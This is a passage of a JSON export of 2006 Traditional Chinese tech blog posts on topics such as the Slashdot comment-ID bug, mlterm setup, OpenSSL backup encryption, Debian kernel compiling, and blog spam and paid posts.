依舊獨大，於是我們又看到了類似的故事：<a href=\"http://slashdot.org/articles/06/11/08/1358207.shtml\">Dell Customer Gets Windows Refund</a>，Dave Mitchell 從 <a href=\"http://www.dell.com/\" rel=\"tag\">Dell</a> 取回 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> Windows XP Home SP2 的微軟稅。\r\n\r\n來岔題...\r\n\r\n我很喜歡現在 X 下面的 Anti-Alias 效果，尤其是用 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 看網站的時候超舒服，但我現在希望 rxvt 這類的應用程式也可以用，我應該去哪邊翻？",
    "title": "為微軟稅而戰"
  },
  {
    "id": "886",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到這則讓人 XD 的報導：<a href=\"http://slashdot.org/articles/06/11/09/1534204.shtml\">Slashdot Posting Bug Infuriates Haggard Admins</a>。\r\n\r\n<a href=\"http://slashdot.org/\" rel=\"tag\">Slahsdot</a> 的後端是 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a>，Comment 都放在同一個 Table 裡面。一開始他們用 MEDIUMINT (2<sup>24</sup>) 來放 Comment ID，在五年前的時候他們改成 Unsigned Integer (2<sup>32</sup>)，但是忘了改 Index 的部分，於是昨天就出問題了...\r\n\r\n在 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 裡把 Index 改好其實也很簡單，只是一個 ALTER 指令，但是在一千多萬筆資料的 Table 裡重建 Index 最少要三個小時，所以只好發一篇文章跟大家道歉，因為為了轉換會關掉一些功能... XD",
    "title": "Slashdot 的 Comment 數超過 MEDIUMINT 的限制"
  },
  {
    "id": "887",
    "body": "也是昨天在吃燒肉時聊到的一個小話題，就是取機器名稱的學問... :p\r\n\r\n交大在蠻久前買了台 <a href=\"http://www.cacheflow.com/\" rel=\"tag\">Cacheflow</a> (現在叫 <a href=\"http://www.bluecoat.com/\" rel=\"tag\">BlueCoat</a>)，買了後使用竹苗區網的 IP address，供竹苗區網用 (163.28.64.50)，不知道當時為什麼取 CF.HCRC.edu.tw 這個名稱，幾乎每個月都會有被國內的網站 ban... :p (像是國內某個最大的網路書店已經殺了這台好幾次 @_@)\r\n\r\n後來我覺得這實在太糟糕了，寫封信問 <a href=\"http://www.cc.nctu.edu.tw/~cschen/\" rel=\"tag\">cschen</a> 能不能換成 proxy-cf.hcrc.edu.tw，至少對方的 MIS 覺得異常而去查反解的時候就會知道這是一台 proxy 而不會亂殺，如果他進一步連到 <a href=\"http://www.hcrc.edu.tw/\" rel=\"tag\">www.hcrc.edu.tw</a> 時就會知道是竹苗區網中心的設備，量大應該是正常的 :p\r\n\r\n自從改名之後大家都過的很快樂，後來就沒聽到被 ban 的事情了... :p (yahoo 的 999 不算，那是機器發現可能是來亂的就會送)\r\n\r\n寫了那麼多，我就是要講 <a href=\"http://www.wretch.cc/hala/viewtopic.php?t=121819\">[公告] 無名小站遭受網路攻擊</a> 這篇，我覺得這篇公告只是趁銀興的 RAID 還沒出貨前故意出來亂的...\r\n\r\ntp2rc.edu.tw 是台北第二區網中心 (政大)，gate.tp2rc.edu.tw 是他們的 proxy server 之一 (參考 <a href=\"http://www.tp2rc.edu.tw/new-95/cenvice.htm\">服務項目</a> 裡面的列表)，不過就算沒去查，看名字應該也會猜是 NAT 吧？\r\n\r\n另外一台是 proxxy.tajen.edu.tw，看名字也知道是打錯字。而 pc-120.nat.stut.edu.tw 不就跟你說是 NAT 了？至於最後面說「目前此攻擊仍然未停止」當然是廢話，人家是正常的流量當然不會停...\r\n\r\n感覺上這篇所謂的「公告」只是隨便翻個 log 找幾個量比較大的，然後丟出被攻擊的假象來把之前 <a href=\"http://www.wretch.cc/album/wkwu\" rel=\"tag\">wkwu</a> 幹的事情帶過去。",
    "title": "取機器名字的學問？"
  },
  {
    "id": "888",
    "body": "這是 <a href=\"http://mlterm.sourceforge.net/\" rel=\"tag\">mlterm</a> 裡中文字開 anti-alias 的審察砲彈，如果要看效果的話請點進去看大圖才看的出來：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/383288\"><img src=\"http://static.zooomr.com/images/383288_ba9980569a.jpg\" alt=\"\" /></a>\r\n\r\n我拿 Ptt 的進站畫面來示範，可以看的出來 ANSI code 的部份還是有問題，照 <a href=\"http://netlab.cse.yzu.edu.tw/~statue/freebsd/zh-tut/mlterm.html\">mlterm - 多國語言終端機</a> 這篇的說法，先開 <a href=\"http://www.gnu.org/software/screen/\" rel=\"tag\">screen</a> 後再連線就會正常，不過我這邊開了 <a href=\"http://www.gnu.org/software/screen/\" rel=\"tag\">screen</a> 還是會有問題... (<a href=\"http://thekonst.net/centericq/\" rel=\"tag\">centericq</a> 的畫面就更慘了 :p) 要再看看要怎麼處理。\r\n\r\n附上幾個設定檔，先是 <code>.mlterm/</code> 下的 <code>font</code>：\r\n<blockquote><code>ISO8859_1 = --sony-fixed-medium-r-normal--16-150-75-75-c-80-iso8859-1;\r\nBIG5 = -eten-fixed-medium-r-normal--16-150-75-75-c-160-big5.eten-0;\r\nISO10646_UCS4_1 = -gnu-unifont-medium-r-normal--16-160-75-75-c-80-iso10646-1;\r\nISO10646_UCS4_1_BIWIDTH = -gnu-unifont-medium-r-normal--16-160-75-75-c-80-iso10646-1;</code></blockquote>\r\n再來是 <code>.mlterm/</code> 下的 <code>main</code>：\r\n<blockquote><code>bg_color=black\r\nfg_color=grey\r\ngeometry=100x35\r\nuse_anti_alias=true\r\nencoding=BIG-5\r\nfontsize=18\r\nscrollbar_mode=right</code></blockquote>\r\n以及最後啟動的指令：\r\n<blockquote><code>env LANG=zh_TW.Big5 mlterm -A</code></blockquote>",
    "title": "mlterm"
  },
  {
    "id": "890",
    "body": "在 <a href=\"http://news.com.com/\" rel=\"tag\">CNET</a> 上看到英國政府修法將 DoS 攻擊列入非法行為：<a href=\"http://news.com.com/2100-7348_3-6134472.html\">U.K. outlaws denial-of-service attacks</a>。\r\n\r\n在 1990 年通過的 Computer Misuse Act (CMA) 是 Internet 剛起步所制訂的，當初在制訂並沒有考慮到 DoS (因為不流行)，於是制訂時是以「不正當的途徑」為處罰的要件之一。\r\n\r\n在 2005 年的時候有人故意寄了大量的信件而被告，但在法院上解釋這不是未經授權的入侵行為，因為對方的確有提供服務提供使用，而法院認定這項行為並不構成 CMA 的觸犯條件，而促成了這次的修法。",
    "title": "DoS 攻擊"
  },
  {
    "id": "891",
    "body": "<a href=\"http://photomatt.net/\" rel=\"tag\">Matt</a> 參加了在 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 總部辦的 <a href=\"http://mysqlcamp.org/\" rel=\"tag\">MySQL Camp</a>，他記錄了一些重點可以參考：<a href=\"http://photomatt.net/2006/11/10/mysql-camp-google-notes/\">MySQL Camp Google Notes</a>。\r\n\r\n除了一般簡單的分散技巧外 (所謂的二十六台 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 密技？:p)，另外還講了使用 master/slave 時應該要注意的問題，以及修改原始程式碼配合極短的 DNS TTL 達到很短的 downtime。",
    "title": "MySQL 的使用"
  },
  {
    "id": "892",
    "body": "昨天在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到法院認定 RIAA 誇大損失： <a href=\"http://slashdot.org/yro/06/11/10/1319224.shtml\">Judge OKs Challenge To RIAA's $750-Per-Song Claim</a>。\r\n\r\n<a href=\"http://www.riaa.com/\" rel=\"tag\">RIAA</a> 宣稱被告 Marie Lindor 所造成的損失是 $750 美金 (每首)，但 Marie Lindor 則提出反駁，並提出證據指出事實上根本不超過 $0.7 美金，<a href=\"http://www.riaa.com/\" rel=\"tag\">RIAA</a> 再反駁說這是被告在瞎掰，但法官看過雙方所提出的證據後認為 <a href=\"http://www.riaa.com/\" rel=\"tag\">RIAA</a> 所提出的反駁沒有引用任何可信的佐證，而 Marie Lindor 所提出的有。\r\n\r\n台灣有實際上法院戰鬥 (我指的是沒有和解) 的案例嗎？",
    "title": "RIAA 誇大損失"
  },
  {
    "id": "893",
    "body": "<a href=\"http://en.wikipedia.org/wiki/Open_Source\" rel=\"tag\">Open Source</a> 最重要的精神之一是「散佈的自由」(列在 <a href=\"http://www.opensource.org/docs/definition.php\" rel=\"tag\">The Open Source Definition</a> 的第一項)，但 <a href=\"http://www.microsoft.com/\" rel=\"tag\">微軟</a> 這次跟 <a href=\"http://www.novell.com/\" rel=\"tag\">Novell</a> 合作的授權條款是禁止散佈的：<a href=\"http://slashdot.org/linux/06/11/10/1929210.shtml\">Microsoft's Patent Pledge \"Worse Than Useless\"</a>。\r\n\r\n這次的授權內容只包括了 <a href=\"http://www.microsoft.com/\" rel=\"tag\">微軟</a> 與 <a href=\"http://www.novell.com/\" rel=\"tag\">Novell</a> 的 <a href=\"http://www.opensuse.org/\" rel=\"tag\">openSUSE</a> 可以互相使用對方的專利而不被告，但不得再散佈，於是這些使用微軟專利的軟體只能在 <a href=\"http://www.opensuse.org/\" rel=\"tag\">openSUSE</a> 上跑，而不能在其他 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 平台上跑：(標粗體的部分)\r\n<blockquote>Microsoft hereby covenants not to assert Microsoft Patents against each Individual Contributor (also referred to as “You”) for Your distribution of Your personally authored original work (“Original Work”) directly to openSUSE.org, but only if, and to the extent, (i) Your Original Work becomes part of SUSE Linux, SUSE Linux Enterprise Desktop or SUSE Linux Enterprise Server, and <strong>(ii) You ensure that as a result of Your contribution, openSUSE.org, and all further recipients of Your Original Work, do not receive any licenses, covenants or any other rights under any Microsoft intellectual property. This pledge is personal to You and does not apply to any use or distribution of Your Original Work by others.</strong></blockquote>\r\n授權內容請參考 <a href=\"http://www.microsoft.com/\" rel=\"tag\">微軟網站</a> 上的 <a href=\"http://www.microsoft.com/interop/msnovellcollab/community.mspx\">Community Commitments - Microsoft & Novell Interoperability Collaboration</a>。",
    "title": "Microsoft 與 Novell 沒有誠意的合作"
  },
  {
    "id": "895",
    "body": "在 <a href=\"http://ajaxian.com/archives/dojo-charting-engine-released\">Dojo Charting Engine Released</a> 這篇看到用 JavaScript 畫圖表的 Library，測試頁在 <a href=\"http://archive.dojotoolkit.org/nightly/tests/charting/test_engine.html\">這裡</a>。\r\n\r\n在 X31 上開感覺有點頓... 不知道圖表更複雜的時候會頓到什麼程度 XD",
    "title": "用 JavaScript 畫圖表"
  },
  {
    "id": "896",
    "body": "在 <a href=\"http://blog.lighttpd.net/articles/2006/11/12/lighty-1-5-0-and-linux-aio\">lighty 1.5.0 and linux-aio</a> 這篇告訴大家 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 開始支援 async I/O 了。\r\n\r\nasync I/O 將 read request 丟給 kernel 後先去做其他事情，等到 kernel 處理完以後再用 callback routine 告訴 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 已經完成讀取。這使得 kernel 可以最佳化讀取的順序以達成 I/O 效率的提升，另外一方面 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 也可以趁機去做其他的事情。依照作者自己的測試，這使得 throughput 提升了 80%。而在作者在 Blog 上炫耀 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 上的 performance 大幅提升後，也有人 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上丟出 patch，接下來就是等待了... :p",
    "title": "lighttpd 的 async I/O 支援"
  },
  {
    "id": "897",
    "body": "這幾個禮拜遇到許多人事物，其中一些感想 :p\r\n<ul>\r\n\t<li>一個團體缺什麼就會叫什麼，所以會叫 <a href=\"http://wiki.yichi.org/\" rel=\"tag\">義氣幫</a> 是因為... :p</li>\r\n\t<li>如果團體的名稱已經固定了，那麼只好讓團體裡的老大來天天說「我們應該要有義氣」之類的 :p</li>\r\n</ul>\r\n啊，我在影射好多團體，別打我 :~",
    "title": "雜感"
  },
  {
    "id": "898",
    "body": "<a href=\"http://www.talkplus.com/\" rel=\"tag\">TalkPlus</a> 開發了一個用 Java 寫的程式，你只要送個 text message 就可以安裝進你的手機裡。(當然，手機要支援 Java)\r\n\r\n原文在這裡：<a href=\"http://www.skypejournal.com/blog/archives/2006/11/talkplus_demo_call_to_echo123_from_a_mob.php\">TalkPlus demo : Call to echo123 from a mobile without a Skype client</a>。\r\n\r\n透過這個程式，你可以連上 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 直接打給任何在 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 上面的人直接講話，在 Demo 的影片中是撥給 echo123 這個 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 提供的測試帳號。\r\n\r\n我這幾天因為家裡的 ADSL 常常斷線，跟別人用 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 講事情時會故意上 <a href=\"http://www.cht.com.tw/\" rel=\"tag\">CHT</a> 3G 網路，雖然多了 160ms 的 latency，不過基本上沒有太嚴重的感覺。所以如果這個東西可以普及的話，一般有支援 Java 的手機就可以掛在 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 上了 :D",
    "title": "在手機上用 Skype"
  },
  {
    "id": "899",
    "body": "<a href=\"http://www.openssl.org/\" rel=\"tag\">OpenSSL</a> 除了是個 library 外，還提供了 CLI (command line interface) 操作，你可以透過 openssl 這隻程式對檔案加密解密。\r\n\r\n先輸入：\r\n<blockquote><code>$ openssl help</code></blockquote>\r\n由於沒有 help 這個指令，所以會出現可用指令列表。在 Cipher commands 會列出很多可用的 cipher，我個人偏好用 Blowfish CBC (bf-cbc)，主要原因是速度非常快。\r\n\r\n加密的指令是：\r\n<blockquote><code>$ openssl bf-cbc -in <strong>input.txt</strong> -out <strong>output.txt</strong></code></blockquote>\r\n輸入進去後就會問你要設定的密碼。而解開只要加上 -d，把 -in 改成加密後的檔案，-out 改成要輸出的檔案即可：\r\n<blockquote><code>$ openssl bf-cbc -d -in <strong>output.txt</strong> -out <strong>input.txt.orig</strong></code></blockquote>\r\n然後輸入密碼解開，如果密碼錯誤會出現 bad decrypt 的錯誤訊息，接下來你可以用 cmp 或是 diff 比較檔案是不是一樣。\r\n\r\n接下來講比較實用的部分。最近 <a href=\"http://www.dreamhost.com/\" rel=\"tag\">DreamHost</a> 提供的硬碟空間愈來愈大了，於是你可以拿 <a href=\"http://www.dreamhost.com/\" rel=\"tag\">DreamHost</a> 來備份 (不要放到 www 目錄下)，但你又不想直接把 .tar.gz 直接丟上去，這時候你就可以在壓縮的時候順便加密：\r\n<blockquote><code>$ tar -zc -f - <strong>/backup/this/directory</strong> | openssl bf-cbc -k <strong>password</strong> -out <strong>mybackup-20061114.gz-bf-cbc</strong></code></blockquote>\r\n其中 -k 後面接的就是 key，而不指定 -in 代表從 stdin 讀入。\r\n\r\n如果你想要把檔案拆小一點，可以把 -out 拿掉 (表示從 stdout 輸出)，再 pipe 給 split 切開。(也許切成 600MB 再燒成光碟？)",
    "title": "用 OpenSSL 加密/解密"
  },
  {
    "id": "900",
    "body": "在 <a href=\"http://blog.outer-court.com/archive/2006-11-14-n18.html\">PhpBB’s Casino Links</a> 看到 <a href=\"http://www.phpbb.com/\" rel=\"tag\">phpBB</a> 官方網站上放置的 Spam Link 被揭露出來：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/404539\"><img src=\"http://static.zooomr.com/images/404539_4a87640329_o.jpg\" alt=\"\" /></a>\r\n\r\n其實國內的 <a href=\"http://www.lifetype.org.tw/\" rel=\"tag\">Lifetype 社群網站</a> 也是：(看原始大小的圖，最下面的 link 就是)\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/367599\"><img src=\"http://static.zooomr.com/images/367599_8e9f19763e.jpg\" alt=\"\" /></a>\r\n\r\n另外一個問題是，awoo.com.tw 曾經找過國內不少 PageRank 比較高的 Blogger，開價 $50000/year 在 PageRank = 5 的站買五個 link，在 PageRank = 6 的站上則是開價 $60000/year，PageRank = 7 的站上則是 $70000/year (餘此類推)，但我在 mailing list 與 forum 上並沒有看到這筆錢的情況，在 forum 上問也被忽略了：<a href=\"http://forum.lifetype.org.tw/index.php?topic=3061.0\">關於首頁的 SEO 連結</a>。\r\n\r\n所幸的是，用 link:www.awoo.com.tw 到各搜尋引擎找會發現 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 已經把 www.awoo.com.tw 排除 (nice job！)，所以能找到的筆數非常少，而 <a href=\"http://search.yahoo.com/\" rel=\"tag\">Yahoo! Search</a> 與 <a href=\"http://search.msn.com/\" rel=\"tag\">MSN Search</a> 會告訴你國內的 Blogger 也只有 <a href=\"http://www.neo.com.tw/\" rel=\"tag\">Neo</a> 與 <a href=\"http://blog.markplace.net/\" rel=\"tag\">Mark</a> 在自己的 Blog 上放 SEO Spam Link。",
    "title": "網站的 Spam Link"
  },
  {
    "id": "901",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 上看到「安裝錯誤」的畫面：<a href=\"http://www.boingboing.net/2006/11/14/weird_screenshot_of_.html\">Weird screenshot of failed Zune install</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/-flx-/294929001/\" rel=\"t><img src=\"http://static.flickr.com/103/294929001_b67b0b5225.jpg\" alt=\"\" /></a>\r\n\r\n這是 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 的惡趣味嗎 XD",
    "title": "Zune 的安裝畫面"
  },
  {
    "id": "902",
    "body": "把自己的桌機換成 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 7.0-CURRENT，準備測一些最近 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> team 在發展的東西，另外也比較方便測試 ports 是否能在 7.0-CURRENT 上安裝...\r\n\r\n不過升級完以後發現比起 6.x 慢相當多，要看看還有什麼地方可以調整的... (kernel 裡可以拿掉的 debug options 都拿掉了，留下 {D,G,K}DB 要在踩到地雷時看是踩到那個 bug)",
    "title": "FreeBSD 7-current"
  },
  {
    "id": "903",
    "body": "上個禮拜在 <a href=\"http://blog.outer-court.com/archive/2006-11-10-n71.html\">Paid Blog Posts?</a> 這篇文章裡看到一張圖，關於收錢寫 Review 的事情：\r\n\r\n<a href=\"http://www.23hq.com/gslin/photo/1409479/view-large\"><img src=\"http://www.23hq.com/gslin/photo/1409479/original\" alt=\"\" /></a>\r\n\r\n當不斷的罵新聞報導大量置入性行銷的時候，為什麼不反過來看看國內的 Blogger 圈？我們可以看到國內許多人對於這類 PayPerPost 置入性行銷的服務反而相當開心。\r\n\r\n在 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 的 <a href=\"http://wordpress.com/tos/\" rel=\"tag\">TOS</a> 裡甚至特地以藍底標示出他們禁止這類行為：\r\n<blockquote>the Content is not spam, and does not contain unethical or unwanted commercial content designed to drive traffic to third party sites or boost the search engine rankings of third party sites, or to further unlawful acts (such as phishing) or mislead recipients as to the source of the material (such as spoofing);</blockquote>\r\n大胖子 <a href=\"http://scobleizer.com/\" rel=\"tag\">Scoble</a> 對 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 的 <a href=\"http://wordpress.com/tos/\" rel=\"tag\">TOS</a> 說：\r\n<blockquote>This is a good thing for Wordpress to do. Why? It protects its reputation. <strong>PayPerPost is a way to game search engines.</strong> If you want to do that, take your blog somewhere else and protect those of us who aren’t willing to do that.</blockquote>",
    "title": "收錢寫 Review？"
  },
  {
    "id": "904",
    "body": "這幾天試著用 <a href=\"http://svk.bestpractical.com/\" rel=\"tag\">SVK</a> 看看能夠做什麼事情，其中一個簡單好用的功能是自己建立 local repository 自己用，但是不用像 <a href=\"http://subversion.tigris.org/\" rel=\"tag\">subversion</a> 另外架設 apache server 或是跑 svnserve。在 ports 裝完 svk 後，這是一些筆記內容：\r\n<blockquote><code>$ svk mkdir //local/myproject</code></blockquote>\r\n第一次跑的時候會告訴你 <code>~/.svk/local</code> 不存在，問你是否要建立，選 yes 建立後就可以 checkout 這個目錄：\r\n<blockquote><code>$ svk checkout //local/myproject myproject</code></blockquote>\r\nsvk checkout 的東西不像 svn 會有 <code>.svn</code> 的目錄，感覺乾淨多了。接下來就進入 myproject 目錄改東西加東西，改完就如同 svn 一樣，用 add 指令加進去：(當然你也可以用 import 這個指令)\r\n<blockquote><code>$ svk add Makefile *.c</code></blockquote>\r\n然後 commit：\r\n<blockquote><code>$ svk commit</code></blockquote>\r\n輸入 commit log 以後就塞進去了。",
    "title": "SVK"
  },
  {
    "id": "905",
    "body": "一個月前我在 <a href=\"http://simon.incutio.com/\" rel=\"tag\">Simon Willison</a> 的 Blog 上看到他利用 <a href=\"http://tamperdata.mozdev.org/\" rel=\"tag\">TamperData</a> 這個 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> Addons 觀察 HTTP 抓取的 Timeline：<a href=\"http://simon.incutio.com/archive/2006/10/17/graph\">Graphing requests with Tamper Data</a>，除了傳統的表格外，他還有圖可以直接看，整個頁面的抓取流程相當的清楚。像是 <a href=\"http://blog.gslin.org/\" rel=\"tag\">blog.gslin.org</a> 首頁的情況：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/431383\"><img src=\"http://static.zooomr.com/images/431383_9a050b3f6a.jpg\" alt=\"\" /></a>\r\n\r\n前陣子我在某個人的 Blog 上看到想要分析 HTTP 抓取的時間分析時有提到有這樣的東西，可是我忘記軟體的名稱了 (而且當時我也忘了是在 <a href=\"http://simon.incutio.com/\" rel=\"tag\">Simon Willison</a> 的 Blog 上看到的)，只好寫一篇記錄下來... :p",
    "title": "TamperData"
  },
  {
    "id": "907",
    "body": "由於幹活需要，晚上十一點多回到家就裝了台 <a href=\"http://www.debian.org/\" rel=\"tag\">Debian</a> 起來，透過 apt 的幫忙 (以及 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 大神相助)，弄到三點多的時候就差不多把需要的東西都弄好了，有個 PPPoE 的問題在網路上沒找到解答，記錄下來問問看...\r\n\r\n用 pppoeconf 設定好後可以生出 ppp0，也可以用 pon 撥上去，但是撥上後卻沒有設定 default routing。用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找發現要設定 \"defaultroute\" (有些文件有提到當已經存在 default route 的時候還要設 \"replacedefaultroute\")，但看了一下 <code>/etc/ppp/options</code> 發現沒有這兩個指令 (暗示著系統不認得這兩個指令)，於是只好自己寫個 script 到 <code>/etc/ppp/if-up.d/</code> 下，在連線建立後設定 default route。不過這樣感覺怪怪的，有什麼建議嗎？",
    "title": "Debian 3.1"
  },
  {
    "id": "908",
    "body": "每次要更新都要跑 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找一堆指令的順序，剛剛找到篇 11/22 才寫的文章，已經被 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 收起來了：<a href=\"http://cha.homeip.net/blog/archives/2006/11/how_to_compile.html\">How To Compile A Kernel</a>。\r\n\r\n不過剛剛開起來就 panic 跟我說找不到 root，再去研究看看好了... :p\r\n\r\n<strong>Update</strong>：補充一下，在解開 kernel 的目錄下 make help 可以看到可用指令的說明。",
    "title": "Recompile Linux Kernel"
  },
  {
    "id": "910",
    "body": "應該還不是「正確」的方法 (因為 apt-cache search linux-source 時還看到 linux-patch-debian-2.6.18 與 linux-tree-2.6.18 這兩個套件)，不過先記下來好了：\r\n<blockquote><small><code>$ apt-get install linux-source-2.6.18\r\n$ apt-get install kernel-patch-grsecurity2 (這是 <a href=\"http://www.grsecurity.net/\" rel=\"tag\">grsecurity</a> patch)\r\n$ cd /usr/src\r\n$ tar yxf linux-source-2.6.18.tar.bz2\r\n$ cd linux-source-2.6.18\r\n$ zcat ../kernel-patches/diffs/grsecurity2/grsecurity-2.1.9-2.6.18.1.patch.gz | sudo patch -p1\r\n$ sudo make menuconfig\r\n$ sudo make all (其中 all = vmlinux modules bzImage，參考 make help 的說明)\r\n$ sudo make install\r\n$ sudo modules_install\r\n$ cd /boot\r\n$ sudo mkinitrd -o initrd.img-2.6.18-grsec 2.6.18-grsec\r\n$ sudo update-grub\r\n$ cd grub\r\n$ vim menu.lst (把 initrd 的部分補上去)</code></small></blockquote>\r\n<strong>Update</strong>：yjchou 說 <a href=\"http://packages.debian.org/unstable/devel/linux-source-2.6.18\">linux-source-2.6.18</a> 這是已經經過 Debian 處理過的版本了，在網頁說明上也有提到：\r\n<blockquote>This package provides source code for the Linux kernel version 2.6.18. This source closely tracks official Linux kernel releases. Debian's modifications to that source consist of security fixes, bug fixes, and features that have already been (or we believe will be) accepted by the upstream maintainers.</blockquote>\r\n我沒有炸掉純粹是運氣好選對了 @_@",
    "title": "Recompile Linux Kernel in Debian"
  },
  {
    "id": "911",
    "body": "因為要 Team Work，所以決定用 <a href=\"http://freemind.sourceforge.net/\" rel=\"tag\">FreeMind</a> 這套 <a href=\"http://java.sun.com/\" rel=\"tag\">Java</a> 寫的 Open Source Mind-Mapping Software 來畫一些圖 (還特地去裝了 JRE，之前 Notebook 上都沒裝... :p)，隨手思考 D2 E-mail System 的架構，玩了幾下後發現還不差，這是輸出成 PNG 格式的樣子，點進去後可以找大圖看細節：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/440753\"><img src=\"http://static.zooomr.com/images/440753_f7aa4a4419.jpg\" alt=\"\" /></a>\r\n\r\n晚點就是 mm 檔 (FreeMind 的輸出格式) 丟來丟去了 :p",
    "title": "FreeMind"
  },
  {
    "id": "912",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到加拿大的八個 ISP (Bell Aliant, Bell Canada, MTS Allstream, Rogers, SaskTel, Shaw, TELUS, and Videotron) 宣佈將使用 <a href=\"http://cybertip.ca/\">Cybertip.ca</a> 所建立的名單過濾兒童色的網路內容：<a href=\"http://slashdot.org/yro/06/11/24/054220.shtml\">The Great Firewall of Canada</a>。\r\n\r\n未成年色情屬於國際公認禁止的項目之一。反對者並不是反對「過濾 Child Porn」這件事情，而是反對「ISP 自行過濾 Child Porn」，他們認為網站的建立屬於言論自由的一種，也就是人的基本權利，電信業者要過濾必須有法律授權，而不應該由 ISP 直接過濾。換句話說，他們認為應該要用「對的方法」做「對的事情」，而 ISP 自行主動過濾 Child Porn 不屬於「對的方法」，因為有了這樣的前例後，這套設備非常容易找個理由並轉移淪為侵害 Net Neutrality 的幫兇。",
    "title": "加拿大建立 Great Firewall"
  },
  {
    "id": "913",
    "body": "其實 <a href=\"http://freemind.sourceforge.net/\" rel=\"tag\">FreeMind</a> 的東西是另外一位長輩一邊用 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 介紹 <a href=\"http://www.mindjet.com/\" rel=\"tag\">MindManager</a> (<a href=\"http://freemind.sourceforge.net/\" rel=\"tag\">FreeMind</a> 也是他提到的)，然後透過 <a href=\"http://www.tightvnc.com/\" rel=\"tag\">TightVNC</a> Client 操作給我跟另外一位長輩看，整個效果其實相當不錯... :p\r\n\r\n<a href=\"http://www.tightvnc.com/\" rel=\"tag\">TightVNC</a> 剛好有些可以設定的地方，第一個是 View Only 的選項，可以純粹看畫面用，另外一個是 Scale (Resize) 的功能，我用 Notebook (1024x768) 連過去 (1280x1024) 的時候設成 4/5 差不多可以看到整個畫面：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/440835\"><img src=\"http://static.zooomr.com/images/440835_2f24ec783a_o.jpg\" alt=\"\" /></a>\r\n\r\n另外的小細節是是開 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> Conference 的人儘量不要跟開 VNC Server 的人同一個，一方面是 CPU resource，另外一方面是 Network bandwidth。",
    "title": "TightVNC Client + Skype"
  },
  {
    "id": "914",
    "body": "<a href=\"http://www.bigsound.org/portnoy/\" rel=\"tag\">portnoy</a> 這篇 <a href=\"http://www.bigsound.org/portnoy/weblog/002368.html\">網摘，還是置入性行銷2.0？</a> 說：\r\n<blockquote>(11/24補)真的知道什麼叫<strong>naked conversation</strong>嗎??真的知道怎麼透過blog結合新聞聯播與網摘嗎？知道什麼叫做部落格行銷的<strong>地雷</strong>嗎？如果不知道又要怎麼去<a href=\"http://www.xuexue.tw/professor/who_introduction.asp?CTID=%7BD0CECC0D-5E99-4BBF-8365-3F73A9785E84%7D\">當人家的老師</a>呢？<strong>難道真的要這顆地雷徹底爆炸嗎？</strong></blockquote>\r\n(原文有附上圖，我這邊就不連了)\r\n\r\n這群人是把網路當作生財工具，只要不犯法，什麼都能做，什麼都會做。就如同記者，是以最低的標準約束自己，以最高的標準批評別人。",
    "title": "置入性行銷 2.0"
  },
  {
    "id": "915",
    "body": "多張檔案上傳 (用 Browser) 一直是 <a href=\"http://www.zooomr.com/\" rel=\"tag\">Zooomr</a> 沒解決的問題，每次選了五六個檔案傳，就發現只傳了兩張上去，而且兩張都一樣的... (都是第一張)\r\n\r\n其他家 (<a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a>、<a href=\"http://www.23hq.com/\" rel=\"tag\">23HQ</a>) 就沒有這個問題... 用 <a href=\"http://www.zooomr.com/\" rel=\"tag\">Zooomr</a> 感覺上很像在用無賴小站國際版... :p",
    "title": "Zooomr 的上傳"
  },
  {
    "id": "916",
